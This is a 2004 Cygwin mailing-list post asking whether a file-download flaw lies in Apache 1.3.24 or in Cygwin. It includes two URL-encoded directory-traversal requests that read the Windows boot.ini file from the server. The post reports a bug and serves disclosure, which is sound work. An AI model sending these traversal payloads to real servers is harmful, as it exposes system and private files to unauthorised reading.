Mailing-List:	contact cygwin-help AT cygwin DOT com; run by ezmlm
List-Subscribe:	<mailto:cygwin-subscribe AT cygwin DOT com>
List-Archive:	<http://sources.redhat.com/ml/cygwin/>
List-Post:	<mailto:cygwin AT cygwin DOT com>
List-Help:	<mailto:cygwin-help AT cygwin DOT com>, <http://sources.redhat.com/ml/#faqs>
Sender:	cygwin-owner AT cygwin DOT com
Mail-Followup-To:	cygwin AT cygwin DOT com
Delivered-To:	mailing list cygwin AT cygwin DOT com
From:	"=?ks_c_5601-1987?B?uei787/sXChCYWUsIFNhbmctV29vXCk=?=" <swbae AT stgsecurity DOT com>
To:	<cygwin AT cygwin DOT com>
Subject:	Apache 1.3.24 vulnerability?
Date:	Tue, 13 Jan 2004 14:07:39 +0900
Message-ID:	<PAEKKBCLJLGGHCOKGKFCOEGLCDAA.swbae@stgsecurity.com>
MIME-Version:	1.0
Note-from-DJ:	This may be spam
X-MIME-Autoconverted:	from base64 to 8bit by delorie.com id i0D57Non008807

I've experienced below security problems on cygwin environment.

you can download any files on web server.
http://[server]/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://[server]/..%5C..%5C..%5C..%5C..%5C..%5C/boot.ini

is this a Apache 1.3.24 bug or a cygwin bug?

- Raw text -